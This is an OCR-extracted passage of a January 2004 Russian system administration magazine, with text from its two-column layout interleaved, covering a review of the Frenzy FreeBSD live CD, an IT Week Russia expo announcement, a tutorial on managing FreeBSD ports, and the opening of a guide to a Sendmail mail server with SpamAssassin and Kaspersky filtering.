на самом деле, я решил ее списать непосредственно с сайта (256 Мб), /root (8 Мб). Система не перестает радовать, ока-
разработчика (http://frenzy.icc.melitopol.net), но тут меня зывается, она автоматически распознала и использова-
ждал сюрприз: вожделенный дистрибутив списать было ла swap моей основной системы FreeBSD для собствен-
нельзя, потому как у разработчика просто не было места в ного применения (в ином случае swap-раздел можно сде-
сети, где бы можно было разместить iso-образ диска. Я лать с помощью скрипта makeswap.
немного расстроился, но все же поместил ссылку на этот
сайт в свои bookmarks и как-то позабыл о его существова- Работа в системе
нии. Через месяц я снова посетил этот сайт и с интересом Ядро системы скомпилировано с поддержкой основных
узнал, что сей продукт наконец-то можно списать. Сказа- типов HDD, распространенных сетевых карт, некоторых
но – сделано: frenzy_v01b10.iso.bz2 размером немногим USB-устройств. Первым делом я решил настроить сеть.
больше 65 Мб лежит у меня на HDD. Далее я распаковал Настройка локальной сети осуществляется с помощью
архив и записал имеющийся в нем iso-образ на диск. скрипта lan-config, для настройки PPP используется ppp-
config. Настройка сети не вызывает каких-либо затрудне-
Загрузка ний. Система поставляется с полным «джентльменским»
Загружаемся, в качестве login используем root, пароль не набором софта. Что же есть в системе и уже доступно
требуется. Приятно, что при загрузке система нашла и для использования? Для удобства описания весь софт раз-
смонтировала ufs-разделы, которые имели место быть на делен мной на группы.
моем HDD, также был смонтирован линуксовый ext2 и вин-  Командные интерпретаторы: sh, csh, tcsh (а вот моего
довый fat32 (тут особенно приятно, что названия немно- любимого bash нет).
гочисленных файлов с кириллическими именами отобра-  Работа с файлами: Demos Commander 3.8.1e; Midnight
жались правильно, не в виде знаков вопроса), все фай- Commander 4.6.0; X Northern Capitan 5.0.2. В эту груп-
ловые системы были смонтированы в режиме read only. пу также отнесем: mtools 3.9.8 + MtoolsFM 1.9.3 – эти
А как же быть, если на эти разделы нужно что-нибудь за- утилиты служат для работы с дискетами с FAT12 без
писать? Очень просто, сначала размонтировать требуе- монтирования.
мый раздел, а потом смонтировать его снова. Система  Архиваторы: cabextract 0.6; rar 3.2; unace 1.2; unarj 2.43;
по непонятной для меня причине решила также примон- unlzx 1.0; unzip 5.50; zip 2.3.
тировать дискету, но, естественно, за неимением после-  Текстовые редакторы: Gnotepad+ 1.3.3; Joe 2.8.
дней в дисководе ничего у нее не вышло. Зачем произво-  Браузеры: Opera 6.12; Lynx 2.8.4.1; Links 0.98;
дились такие манипуляции, я узнал позже. Раздел с Solaris,  Почта и новости: Sylpheed-claws 0.8.10, mutt 1.4.1i.
надо сказать, замечен и, как следствие, смонтирован не  ICQ: CenterICQ 4.9.4; Licq 1.2.6.
был. Стартовал ipfw со следующими правилами:  IRC: XChat 1.8.10 (интересно, почему нет BitchX?).
 FTP: IglooFTP 0.6.1.
 Downloader: wget 1.8.2.
 Тесты, мониторинг системы: bytebench 3.1; cpuburn 1.4;
crashme 2.4; memtest 2.93.1; ree 1.3; pciutils 2.1.11;
gkrellm 1.2.13; xosview 1.8.0; lmmon 0.65.
 Восстановление данных: fatback 1.3; ffsrecov 0.5; gpart
0.1h; testdisk 4.4.
 Сетевые утилиты: LinNeighborhood; rdesktop 1.2.0; tightvnc
1.2.8; arping 1.07, datapipe 1.0, dhcpdump 1.5, dhcping 1.2,
dlint 1.4.0, dnrd 2.10, dnstracer 1.7, echoping 5.0.1, ettercap
0.6.7, fping 2.4b2, echolot 0.1, smbproxy 1.0, icmpinfo 1.11,
icmpquery 1.0.3, ipcalc 0.35, lft 2.0, nat 2.0, nbtscan 1.0.2,
p0f 1.8.2, queso 980922, sniffit 0.3.7b, trafshow 3.1.

№1(14), январь 2004 59


администрирование
 Безопасность: nessus 2.0.4; nmap 3.28 + nmapFE; ethereal
0.9.10; drweb 4.29.2; chkrootkit 0.41; amap 1.2.1, arirang 1.6,
firewalk 1.0, fragrouter 1.6, ddos_scan 1.6, dsniff 2.3, hping
2.0, lxnb 0.4, proxytunnel 1.0.6, radusniff 0.2, sniff 1.0, snort
2.0.0, snort-rep 1.10, strobe 1.06, subweb 1.0, whisker 1.4 apg
2.1.0, cmospwd 4.3, john 1.6.33, l0phtcrack 1.5, pwl9x 0.0.7.
 Графическая оболочка: XFree86 4.2.0 с TTF-шрифтами.
 Оконный менеджер: icewm 1.2.0.
 Переключатель клавиатуры: xxkb 1.10.
 Х-терминал rxvt 2.6.4.
 Мультимедиа: GQview 1.1.1; xmixer 0.9.4; mp3blaster
3.1.3; mikmod 3.1.6; XMMS 1.2.7; mpg123; gtkballs.

Впечатляет? И все это на маленьком mini-CD диске.


Что еще нужно админу для счастья? Все есть: монито-
ринг и тест железа, и сеть есть чем протестировать, для
работы в Интернете все есть, даже для Xfree86 и оконно- Второй момент, я не смог смонтировать NFS, mount_nfs
го менеджера нашлось место. MP3, и то послушать мож- просто отсутствует в системе. Дальше больше, на одной
но. Также ко всему этому имеются архиполезные man- из моих машин установлена FreeBSD 5.1, и, соответствен-
страницы. Нельзя не заметить, что в системе присутству- но, все файловые системы ufs2, а FreeBSD 4.8, на кото-
ет Perl. Связка XFree86 + icewm стартует без каких-либо рой основан этот дистрибутив, их не поддерживает. В этот
проблем, даже без предварительной настройки, аскетич- же день дал эту систему на пробу одному знакомому, и
ный icewm показался мне очень симпатичным. Просидел вместе с ней дал дискетку с сохраненными настройками,
я с этой системой часа 2, настроил все под себя, попра- знакомый пришел через полчаса ругаясь – «XFree86 не
вил некоторые файлы конфигурации. Глупо, скажете вы, стартует!». Странное дело, подумал я, пошел разбирать-
ведь после перезагрузки придется все вновь настраи- ся. Запускаю систему с использованием сохраненных на
вать… ан нет, есть скрипт backup, остается только найти дискете настроек – XFree86 «ругается» и не стартует, за-
чистую дискету с FAT12 (для тех, кто не знает: FAT12 – пускаю без нее – все нормально. Оказывается, на диске-
стандартная для дискет, отформатированных в Windows, ту записывается и XF86Config, который я сконфигуриро-
файловая система). Скрипт архивирует и сохраняет сле- вал непосредственно для своего железа. Проблема ре-
дующие директории: /etc; /root; /etc/local/etc. А вот почему шилась просто – имеющийся XF86Config я просто удалил,
не сохраняется /var, осталось для меня загадкой. Помни- и запустил /frenzy/scripts/x11-detect/1.cardDetect.sh, после
те, я упомянул о том, что система при загрузке автомати- чего XFree86 запустился без каких-либо проблем. Но даже
чески пытается смонтировать дискету, так вот и разгад- эти моменты не могли испортить хорошего впечатления о
ка: система пытается восстановить настройки, если тако- системе. Если вы не нашли чего-либо, что необходимо
вые были сохранены. С восстановлением настроек после вам для работы, вы можете попробовать своими силами
перезагрузки каких-либо затруднений не зафиксировано. собрать подобный дистрибутив, воспользовавшись скрип-
Нашлось и несколько негативных моментов в этой систе- тами и патчами, которые разработчик любезно собрал во-
ме. После восстановления настроек система не видела едино и выложил на http://another-level.icc.melitopol.net/
сеть, оказывается, хоть настройки сети и хранятся в /etc/ frenzy/frenzy01.tbz. Надо заметить, что вышеуказанные
rc.conf, который сохраняет скрипт, но данные из него чи- скрипты не являются полностью автоматизированными,
таются до восстановления настроек. А посему сеть при- так что все придется подправлять руками.
шлось настроить снова, благо это нетрудно. Завершаю свой небольшой обзор этого замечательного
дистрибутива. Я нашел для себя новый и очень удобный
инструмент для выполнения своих каждодневных обязан-
ностей, который стал для меня незаменимым помощником
и всегда со мной. Этот дистрибутив можно посоветовать
всем людям, которые хотели бы познакомиться с миром
UNIX-систем, и с FreeBSD в частности. А в том, что этот ди-
стрибутив окажется полезным как системным, так и сете-
вым администраторам, я не сомневаюсь. Судя по тому, как
динамично развивается этот проект, с уверенностью можно
сказать, что все мы получили уже знакомый нам продукт
(это я о FreeBSD) в новом обличье, который готов служить
нам верой и правдой сразу после загрузки.
Примечание: На данный момент уже вышла версия
Frenzy 0.2, в которой исправлены многие недоработки и
обновлен набор программного обеспечения. Сайт проек-
та переехал на http://frenzy.org.ua/.

60
УНИКАЛЬНЫЕ СОБЫТИЯ
НА КОМПЬЮТЕРНОМ РЫНКЕ
Впервые организованная в 1989 году, выставка Неделя 4. Software Expo – специализированная выставка, ори-
Информационных Технологий «IT Week Russia», изве- ентированная на программные продукты для систем
стная в прошлом как Comtek, за пятнадцать лет своего бухгалтерского и складского учета, комплексного ПО
существования пережила и взлеты и падения. В преды- управления предприятием, систем управления доку-
дущие годы в Неделю Информационных Технологий вхо- ментооборотом, систем распознавания документов,
дила выставка Сomtek, которая состояла из нескольких разработку ПО, защиту информации. В рамках этой
направлений, и конференция E-Business. Развитие выс- выставки будет подготовлен цикл тематических семи-
тавки в течение последних лет привело к необходимос- наров, посвященных актуальным вопросам в области
ти выделить отдельные разделы в самостоятельные вы- разработки экономических программ и систем управ-
ставки. С этого года в Неделю Информационных Техно- ления бизнесом.
логий будут входить пять самостоятельных выставок и 5. Специализированная выставка CAD/CAM/CAE пред-
две конференции. Этот шаг позволил расширить масш- ставляет системы автоматизированного проектиро-
таб выставки, объединяющей все аспекты компьютер- вания. Для большинства российских производителей
ного бизнеса, что, в свою очередь, дает возможность необходимость использования САПР для оптимиза-
привлечь к участию в выставке большее число компа- ции работы предприятия стала очевидной. Особенно
ний, занятых во всех сферах индустрии информацион- ярко это проявляется в таких отраслях, как авиастро-
ных технологий. ение, автомобилестроение, тяжелое машинострое-
Давид Патеишвили, директор выставки, сказал: «В ние, архитектура, строительство, нефтегазовая про-
этом году мы расширили темы, представленные на экс- мышленность.
позиции, которые теперь охватывают все области компь- 6. eLearn Expo – специализированная выставка, на ко-
ютерной индустрии. Это дает превосходную возможность торой будут демонстрироваться новейшие продукты
и участникам, и посетителям выставки принять участие и и технологии в сфере электронного обучения, пред-
ознакомиться сразу с пятью выставками и двумя конфе- назначенные для коллективного и индивидуального
ренциями, проходящими в одно время и в одном месте. пользования. Дистанционное обучение через сети
Это также позволит нам улучшить маркетинговую и рек- Internet и Intranet, получившее широкое распростра-
ламную кампании для каждой из выставок и конферен- нение в развитых странах, становится все более ак-
ций, проходящих в рамках Недели Информационных Тех- туальным и для России.
нологий, с учетом целевой аудитории, специфичной для 7. eBusiness Russia (Электронный бизнес в России) –
каждой из них. Хочется добавить, что некоторые выстав- международная конференция, посвященная вопросам
ки, которые будут проходить в рамках Недели Информа- автоматизации бизнес-процессов, развития электрон-
ционных технологий, не имеют аналогов в России, явля- ной коммерции, подбора ИТ-персонала.
ясь тем самым уникальными».
В рамках Недели Информационных Технологий прой- Выставка IT-week остается ведущей международной
дут следующие выставки и конференции: выставкой информационных технологий в России и стра-
1. Personal Computing Expo – общая, неспециализиро- нах СНГ. Это уникальное место для проведения перего-
ванная выставка, ориентированная на конечных воров с первыми лицами сразу нескольких крупных фирм-
пользователей. В ней представлены производители и поставщиков оборудования и решений. Практически все
дистрибьюторы персональных компьютеров и перифе- крупные западные вендоры присутствуют на выставке не-
рии, компьютерных игр, дистрибьюторы сотовой тех- посредственно или при посредстве своих российских парт-
ники и портативных компьютеров, интернет- и контент- неров.
провайдеры и многие другие. В соответствии с растущими потребностями рынка и
2. Hardware & Peripherals Expo – специализированная увеличением числа участников экспозиция расширила
выставка, на которой представлены: компьютеры, мо- площадь, которая в этом году составит 8000 кв. м. В вы-
ниторы, периферийные устройства, комплектующие, ставках, которые пройдут в течение 4 дней, примут уча-
накопители, коммуникационное оборудование и услу- стие 250 ведущих компаний отрасли из 25 стран мира.
ги, т.е. весь спектр hardware, ориентированного на ве- Ожидается, что число посетителей выставки превысит
дение бизнеса. 75 000 человек, включая руководителей верхнего и сред-
3. Международная конференция eLearning Russia (Ин- него звена, технических специалистов и IT-администра-
формационные технологии в образовании), на которой торов, из более 500 городов России и СНГ.
будут освещены последние достижения образователь- «IT Week 2004», 15-ая Международная Выставка Ин-
ных технологий в школах, вузах, а также рассмотрены формационных Технологий пройдет в «Экспоцентре» на
вопросы дистанционного и бизнес-образования. Красной Пресне в Москве с 26 по 29 апреля 2004 года.

№1(14), январь 2004 61


администрирование

ЭФФЕКТИВНАЯ РАБОТА
С ПОРТАМИ В FreeBSD
Статья полностью посвящена портам
в FreeBSD, хотя большинство примеров
актуальны и для других *BSD-систем.

ВЛАДИМИР ОСИНЦЕВ

62
администрирование
В рамках данной статьи «порт» происходит от слова /usr/ports/Tools/scripts. Нужно сказать, что в этом ката-
«портировать» и обозначает скрипт, с помощью кото- логе есть много полезных скриптов, из которых сегод-
рого можно просто установить программу в систему из ня мы рассмотрим лишь малую часть (читайте README,
исходников или удалить ее из системы. Давным-давно чтобы узнать назначение других скриптов из этого ка-
в FreeBSD образовалась так называемая «коллекция талога).
портов», которая на данный момент насчитывает бо- Главное отличие «portsearch» от «make search» – это
лее 9000 программ. поддержка логических выражений, как в Perl, к тому же
Система портов конкурирует с прекомпилированны- возможность поиска не только «в названии» или «по клю-
ми rpm- и deb-пакетами, являясь более удобным сред- чевому слову».
ством для установки и удаления программ, обновления Как пример рассмотрим:
как отдельных, так и всех компонентов системы (стоит
отметить, что порты не предоставляют альтернативу и яв- # ñd /usr/ports/Tools/scripts
# ./portsearch -n "^xmms" -p "(audio|multimedia)" -i "plugin"
ляются ОС-зависимыми). Все основные системы BSD-се-
мейства (NetBSD, OpenBSD, ну и, конечно, FreeBSD) ос- Эта команда выведет список портов, название ко-
нащены своими коллекциями портов. Аналогом портов об- торых начинается с xmms (выражение ^xmms), из ката-
ладают все «source-based» дистрибутивы GNU/Linux, са- логов /usr/ports/audio или /usr/ports/multimedia (выраже-
мый известный из которых – Gentoo (http://gentoo.org), со ние (audio|multimedia)), в описании которых есть слово
своей системой портежей («portage»). «pligin». Описание других ключей смотрите в файле
С помощью портов программы устанавливаются из README.portsearch из каталога программы.
исходных текстов, т.е. закачиваются исходники, распа- Как вариант, утилита «portsearch» может производить
ковываются, настраиваются, компилируются и устанав- поиск по дереву портов, которое находится на удаленной
ливаются в систему, всю работу на себя берет порт. Но машине, например, поиск по самой последней версии
также система портов умеет работать и с прекомпили- портов может выглядеть так:
рованными пакетами с расширением tbz, что представ-
ляет собой tar.bz2 архив с дополнительной информа- # ./portsearch -n "^xmms" -f ↵
ftp://ftp.freebsd.org/pub/FreeBSD/branches/-current/ports/INDEX
цией в конце файла.
В рамках статьи и порт, и пакадж, и пакет обозначают Информация о коллекции портов индексируется в
одно и то же. Сегодня мы не будем рассматривать обнов- файле /usr/ports/INDEX, чтобы поиск был максимально
ление дерева портов с помощью утилиты CVSup, читайте быстрым, но при изменении в дереве портов файл
соответствующую главу «FreeBSD Handbook». INDEX, который используют, и «make search», и «port-
search» остается прежним. Для повторного индексирова-
Поиск по коллекции портов ния портов:
В коллекции портов находится свыше 9000 программ,
поэтому эффективный поиск очень важен. Система пор- # cd /usr/ports && make index
тов предоставляет достаточно обширные средства поис-
ка, самое простое и популярное из них:
Просмотр зависимостей
# cd /usr/ports Один из способов просмотра зависимостей того или ино-
# make search name=opera
Port: opera-7.21.20031013 го порта является:
Path: /usr/ports/www/opera
Info: A blazingly fast, full-featured, ↵
standards-compliant browser # cd /usr/ports/www/opera
Maint: avleeuwen@piwebs.com # make pretty-print-build-depends-list
Index: www This port requires package(s) "XFree86-libraries-4.3.0_5
B-deps: ... compat4x-i386-5.0.20030328 expat-1.95.6_1 fontconfig-2.2.0
R-deps: ... freetype2-2.1.4_1 imake-4.3.0 perl-5.6.1_13 pkgconfig-0.15.0
... png-1.2.5_2" to build.

Здесь был использован поиск по названию порта (был Мы получили список необходимых пакетов для сбор-
выведен список портов, в названии которых встречается ки порта веб-браузера «Opera». Как вариант можно ис-
слово «opera»), как альтернативу, можно использовать по- пользовать «make pretty-print-run-depends-list» для про-
иск по ключевому слову: смотра Run-зависимостей (пакеты, необходимые для за-
пуска порта).
# make search key=dvd
Port: dvdrip-0.48.8
Path: /usr/ports/multimedia/dvdrip Проверка зависимостей до удаления
Info: This is dvd::rip, a Perl Gtk+ based dvd-ripper До того как удалить пакет из системы, неплохо посмот-
Maint: michaelnottebrock@gmx.net
Index: multimedia реть список пакетов, которые зависят от него, чтобы ни-
B-deps: ... чего не сломать. Например, по команде «pkg_info | less»
R-deps: ...
... вы увидите, что в системе установлен пакет ORBit2-2.6.2.
Название пакета ничего не говорит, по-моему, вы его ни
Более расширенные средства поиска предоставля- разу не использовали, и хорошо было бы удалить его,
ет скрипт «portsearch», который находится в каталоге но сначала посмотрим, какие пакеты зависят от него.

№1(14), январь 2004 63


администрирование
# pkg_info -R ORBit2-2.6.2 Information for opera-7.21.20031013:
Information for ORBit2-2.6.2:
Required by: Files:
libgnome-2.2.0.1 /usr/X11R6/bin/opera
nautilus2-2.2.4 /usr/X11R6/share/doc/opera/LICENSE
gnome2-2.2.1_1 /usr/X11R6/share/doc/opera/help
... /usr/X11R6/share/opera/bin/m2.so
...
Как видим, удалять этот пакет было плохой идеей, Хороший способ узнать, что и куда устанавливалось.
т.к. от него зависят необходимые нам программы и биб-
лиотеки. Нарушение зависимостей в лучшем случае при- Навигация по коллекции портов
ведет к неработоспособности программы. Конечно, при При обновлении дерева портов файлы README.html,
попытке удаления командой «pkg_delete ORBit2-2.6.2» которые генерируются при помощи информации из са-
мы увидим то же самое сообщение о зависимых от него мого порта, остаются старыми и могут отражать уста-
пакетах и ORBit2 не будет удален, но лучше все равно ревшую информацию: сайт программы, описание, Run
делать это с помощью «pkg_info». и Build зависимости. Для обновления README-файлов
сделайте:
Просмотр установленных пакетов
«pkg_info» – утилита для просмотра установленных паке- # ñd /usr/ports
# make readmes
тов. Настоятельно рекомендую прочитать man-страницу,
т.к. сегодня мы рассмотрим лишь пару возможностей. Далее вы можете просматривать актуальную инфор-
При использовании ключа «-a» будет отображена ин- мацию при помощи вашего любимого браузера. Ту же ин-
формация о всех установленных пакетах, как альтер- формацию вы можете найти на http://freebsd.org/ports.
нативу вы можете использовать название пакета. На-
пример, команда «pkg_info -ac» выдаст короткие ком- Статус установленных пакетов
ментарии (ключ «-c») ко всем установленным пакетам, Один из способов посмотреть список установленных па-
в свою очередь «pkg_info -c sudo-1.6.7.4» выдаст ком- кетов – это утилита «pkg_version».
ментарий к пакету «sudo». Если вы хотите прочитать
полное описание вместо коротких комментариев, ис- # pkg_version | less
gnome2 =
пользуйте ключ «-d» вместо «-c». nvidia-driver <
Если вам, как и мне, не очень нравится помнить вер- opera =
vim <
сию пакета, то с помощью ключа «-x» можно избавить- ...
ся от этой необходимости.
Мы получили список всех установленных пакетов, ко-
# pkg_info -xc sudo торый состоит из названия и одного символа, из них ос-
Information for sudo-1.6.7.4:
новные:
Comment:
Allow others to run commands as root
 «=» – установлена последняя версия пакета;
 «<« – доступна для установки новая версия пакета,
Эта команда равнозначна предыдущей, но она вы- рекомендую обновиться;
ведет информацию о всех установленных пакетах, чье  «>» – когда установленная версия старше, чем в кол-
название начинается с sudo (в нашем случае это един- лекции портов. Иногда бывает, когда, например, уста-
ственный пакет). навливаются самодельные порты.

Просмотр подробной информации Теперь попробуем просмотреть список пакетов, кото-


о пакетах рые нужно обновить:
После инсталляции порта (особенно в автономном ре-
жиме) неплохо посмотреть, были или нет post-install-со- # pkg_version -l "<"
nvidia-driver <
общения, для этого используется ключ «-D». Например, vim <
я поcтавил на ночь обновляться систему, среди всех ...
портов был www/opera (одноименный веб-браузер), а
уже утром я смог посмотреть какие были сообщения от Обычно, «pkg_version» используют после обновления
всех портов и от www/opera в частности, для этого локальной коллекции портов, например, с помощью
«pkg_info -xD opera», теперь я знаю, что при апгрейде CVSup (об этом читайте в FreeBSD Handbook). Но можно
веб-браузера от 6.x до 7.x нужно сделать backup ката- проверить статус установленных пакетов относительно
лога ~/.opera, иначе вся информация (история, заклад- «свежей» коллекции портов:
ки, почта и прочее) могла быть утеряна.
Еще один полезный ключ «-L», позволяет просмотреть # pkg_version -v ftp://ftp.freebsd.org/pub/FreeBSD/ ↵
branches/-current/ports/INDEX | less
список установленных файлов из данного порта.
Например: При необходимости можно использовать ключ -l (см.
выше) для просмотра только тех пакетов, которые уже
# pkg_info -xL opera устарели.

64
администрирование
Проверка целостности установленных # cd /usr/ports/Tools/scripts
пакетов # ./distclean
Еще одна интересная утилита «consistency-check» по- Она проделает то же самое: сверит md5checksum
зволяет проверить целостность установленных в сис- исходных текстов из установленных портов и удалит те,
тему пакетов. При запуске: которые не соответствуют. Заметьте, что будут удале-
ны, например, еще недокачанные файлы, потому что
# cd /usr/ports/Tools/scripts md5checksum отличается от полного файла.
# ./consistency-check

Утилита покажет вам, из каких пакетов какие фай- Настройка параметров коллекции портов
лы были удалены, изменены и файлы, которые не при- Когда вы установили пакет «portupgarde» в системе,
надлежат не одному из портов. Данную утилиту полез- кроме всего, в каталоге /usr/local/etc были созданы фай-
но использовать не только для общего мониторинга лы pkgtools.conf и pkgtools.conf.sample. Sample-файл ос-
системы, но и как security-сканер, т.к. вы всегда може- тавьте как есть, он имеет хорошие комментарии и по-
те посмотреть, у каких файлов md5checksum отличает- служит хорошим примером.
ся от оригинальных. Файл pkgtools.conf содержит параметры переменных
окружения для утилит из пакета «portupgrade». Напри-
Освобождение свободного места мер, по умолчанию директория для хранения временных
на диске файлов является /var/tmp. На некоторых системах, где
Когда порт устанавливается в систему на локальный под раздел /var отведено недостаточно места, могут воз-
компьютер, в директорию /usr/ports/distfiles закачива- никнуть проблемы. Для их решения достаточно сделать
ются необходимые исходные тексты, после чего порт так, чтобы временные файлы хранились не в /var/tmp, а
компилируется и инсталлируется. к примеру на /usr/tmp. Для этого в pkgtools.conf доста-
При обновлении порта уже закачиваются новые вер- точно изменить строку:
сии исходников (старые остаются). При удалении пор-
та исходные тексты также остаются в distfiles/. Через # ENV['PKG_TMPDIR'] ||= '/var/tmp'
какое-то время мы получаем, что distfiles/ содержит
очень мало «нужного». на
Конечно, вместо «make install clean» можно исполь-
зовать «make install clean distclean», т.е. после загруз- ENV['PKG_TMPDIR'] ||= '/usr/tmp'
ки, сборки и установки исходники будут удалены, но не-
обходимо, чтобы в distfiles/ сохранялись только свежие Обратите внимание на символ «#»: вы должны рас-
исходники – это позволяет сэкономить трафик и время комментировать строку, иначе значение переменной ок-
при медленном канале, а значит, и ваши деньги. ружения не вступит в силу.
Для очистки диска нам понадобится набор утилит Другая интересная часть файла pkgtools.conf – это
«portupgrade», который нужно обязательно иметь, если «IGNORE_CATEGORIES». В этом массиве, который по
вы так или иначе собираетесь использовать порты. Если умолчанию пуст, содержатся названия игнорируемых
порт не установлен, тогда: категорий (директории в /usr/ports), обычно игнориру-
ются языковые категории. Лично у меня игнорируются
# cd /usr/ports/sysutils/portupgrade следующие категории: chinese, french, german, hebrew,
# make install clean
japanese, korean, ukrainian, vietnamese, astro, biology,
Теперь можно начать с удаления каталогов work/, в palm, portuguese, hungarian, games.
которых находятся уже распакованные исходные тексты, Заполните массив «IGNORE_CATEGORIES», как это
которые мы забыли удалить при помощи цели «clean», сделано в комментариях файла pkgtools.conf, после чего
которую мы добавляем к «make». обязательно выполните команду:

# portsclean -C # portsdb -Ufu


Cleaning out /usr/ports/*/*/work...
Delete /usr/ports/news/gnus-emacs20/work
... Которая обновит информацию о коллекции портов.
В итоге поиск в игнорируемых каталогах производить-
Утилита имеет еще одну возможность, которая нас ся не будет и порты из этих категорий будут удалены
интересует больше всего: удаление неактуальных фай- из Run и Build зависимостей других портов.
лов из distfiles/
Настройка параметров сборки порта
# portsclean -DD В файле pkgtools.conf (см. выше) есть возможность за-
Detecting unreferenced distfiles...
Delete /usr/ports/distfiles/KDE/qt-x11-free-3.1.2.tar.bz2 дать массив «MAKE_ARGS», в котором хранятся пара-
... метры сборки портов. Чтобы понять, о чем идет речь,
нужно вспомнить, что некоторые порты мы собираем с
Эту же операцию можно проделать и с помощью встро- указанием параметров, например, «ITH_GUI=yes» при
енной утилиты «distclean»: сборке порта multimedia/mplayer, т.е.:

№1(14), январь 2004 65


администрирование
# cd /usr/ports/multimedia/mplayer Затем идет «=>», после чего список параметров, который
# make WITH_GUI=yes WITH_LANG=ru install clean также заключается в одиночные кавычки. Как видите,
Этот массив служит для того, чтобы не задавать пара- элементы массива записываются через запятую.
метры каждый раз при сборке порта, т.е. при команде
«portupgrade» пакеты будут обновлены с заданными па- Заключение
раметрами. Вот, наверное, и все. Как видите, порты – это очень мощ-
По умолчанию в файле pkgtools.conf массив ная и удобная система, которой нужно просто уметь
«MAKE_ARGS» пуст, исправьте его, чтобы он выглядел, пользоваться, а уметь ею пользоваться просто, как вы
например, так: сегодня узнали.

MAKE_ARGS = {
'multimedia/mplayer-*' => 'WITH_GUI=yes WITH_LANG=ru',
Ссылки:
'multimedia/xmms-*' => 'WITHOUT_MIKMOD=yes', 1. http://freebsd.org
} 2. http://freebsd.org/ports
3. http://freshports.org
Запись имеет следующий синтаксис: название порта 4. http://freshmeat.net
пишется вместе с названием категории, заключается в оди- 5. http://sourceforge.net
ночные кавычки и должно оканчиваться на символы «-*». 6. http://freebsd.org.ru

66
администрирование

ПОЧТОВЫЙ СЕРВЕР С ЗАЩИТОЙ


ОТ СПАМА И ВИРУСОВ НА ОСНОВЕ
FreeBSD

В данной статье будет описана процедура настройки почтового сервера для фильтрации спама
и проверки входящей и исходящей почты на вирусы. В качестве базовой системы я использовал
связку FreeBSD 5.1 + Sendmail + SpamAssassin + Kaspersky Antivirus.

ГЕННАДИЙ ДМИТРИЕВ

68
администрирование
Так сложилось, что изучать Unix-системы я начал имен- cd /home/user
но с FreeBSD, и много позже довелось настраивать мно- mkdir cvsup
cd cvsup
гие Linux-системы. На мой взгляд, очень субъективный,
FreeBSD имеет самую грамотную организацию. Что ка- Далее в домашнем каталоге создаем для большего
сается почтовой программы Sendmail, с давних пор ис- удобства два файла. Один со списком обновляемых пор-
пользую её в качестве базовой, остальные пакеты – тов, другой со скриптом запуска.
SpamAssassin, Kaspersky Antivirus и модули для подклю-
чения к почтовому серверу были выбраны эксперимен- cd /home/user
mkdir cvsup
тально. С десяток компонентов, перепробованных мной, cd cvsup
либо некорректно работали, либо давали неприемле-
vi cvsup.ports
мый результат. # =====íà÷àëî ôàéëà cvsup.ports=========
Вы можете легко использовать данный документ, на- *default host=cvsup.FreeBSD.org
*default base=/usr
страивая систему на FreeBSD 4.5-4.9, 5.0, но важным зве- *default prefix=/usr
ном является обновление дерева портов, поскольку в про- *default release=cvs
*default tag=.
шлых версиях FreeBSD многие модули отсутствуют. Обно- *default delete use-rel-suffix compress
вив дерево портов, вы получите доступ в этим модулям.
ports-mail
Ограничения по количеству обслуживаемых пользо- ports-net
вателей на саму систему вряд ли распространяются. Они ports-security
ports-sysutils
устанавливаются только железом. Сервер P4 512 Мб RAM ports-www
18 Гб SCSI HDD может легко обслужить 4-5 сотен пользо- # =====êîíåö ôàéëà cvsup.ports==========
вателей. В частности, мой сервер P100 64 Мб RAM 540 Мб +
1 Гб SCSI HDD обслуживает 50 пользователей. Правда с Здесь вы можете обновлять все порты, систему, если
трудом, но помимо почтовой системы на нём стоит Squid, вам это необходимо. Для меня было достаточно этих
Apache, Bind и много чего ещё. портов.
Итак, выбор данных компонентов обусловлен:
 наличием модулей в стандартных портах FreeBSD; vi cvsup.sh
# =======íà÷àëî ôàéëà cvsup.sh==========
 достаточно легко настраивается; #!/bin/sh
 имеет адаптивную систему обучения; /usr/local/bin/cvsup -g -L 2 cvsup.ports
# =======êîíåö ôàéëà cvsup.sh===========
 имеет несколько сотен параметров настройки, с по-
мощью которых можно подстраивать систему под ваши chmod +x cvsup.sh
требования;
 в процессе своей работы система самостоятельно обу- Из обновленных портов понадобится поставить сле-
чается. Вам достаточно будет следить и корректиро- дующие (технология стандартная, make & make install):
вать входные параметры.
/usr/ports/mail/sendmail
/usr/ports/mail/p5-Mail-SpamAssassin
Статья рассчитана на хорошо подготовленного пользо- /usr/ports/mail/spamass-milter
вателя. Поэтому, если вы не знакомы с Unix-системами, /usr/ports/mail/kavmilter
вряд ли она вам чем-нибудь поможет.
Итак, вся процедура состоит из нескольких частей:
 Обновление дерева портов. Обновление почтового демона
 Обновление почтового демона. (/usr/ports/mail/sendmail)
 Установка и настройка демона spamd, который разби- Поскольку изначально в FreeBSD 5.1 ставится Sendmail
рает сообщение по кусочкам и ставит спам-балл. Если 8.12.9, обновим его до 8.12.10 из портов. После установ-
балл превышает некую цифру, которую вы можете из- ки его будет удобно собирать отсюда:
менять, письмо преобразуется определенным образом.
 Установка и настройка milter (spamass-milter) для почтово- /usr/ports/mail/sendmail/work/sendmail-8.12.10/cf/cf
го демона. Он будет передавать сообщение демону spamd
и принимать его обратно, пересылая дальше по цепочке. Как – поясню чуть позже. Дополнительно в каталоге
 Установка и настройка Kaspersky Antivirus. В поясне- /usr/ports/mail/sendmail необходимо сделать:
нии не нуждается.
 Установка и настройка milter (kavmilter) для почтового make mailer.conf
демона. Он будет передавать сообщение Kaspersky
Antivirus.
 Настройка самого почтового демона. Установка и настройка демона spamd
 Обучение системы. (/usr/ports/mail/p5-Mail-SpamAssassin)
 Последние штрихи, ссылки и благодарности. Далее, с sendmail все понятно. Для остальных портов не-
большие пояснения.
Обновление дерева портов Основной демон, фильтрующий вашу почту – spamd.
Для начала обновим дерево портов: Его конфигурационный файл находится здесь:

№1(14), январь 2004 69


администрирование
/usr/local/etc/mail/spamassassin/local.cf esac
# ==========íà÷àëî ôàéëà local.cf======== exit 0
# don't use agent # =========êîíåö ôàéëà spammerdaemon.sh===
use_razor2 0
use_dcc 0 Стоит добавить пользователя filter, группу filter, создать
use_pyzor 0
каталог /var/spool/filter и назначить пользователя filter его
# check rdl владельцем.
skip_rbl_checks 0
# autowhitelist vipw
use_auto_whitelist 1 filter:*:1025:1025::0:0:Mail Filter:/var/spool/filter: ↵
auto_whitelist_path /var/spool/filter/.spamassassin/auto_whitelist /sbin/nologin
# bayes vi /etc/group
use_bayes 1 filter:*:1025:filter
bayes_path /var/spool/filter/.spamassassin/bayes
bayes_expiry_max_db_size 1500000 mkdir /var/spool/filter
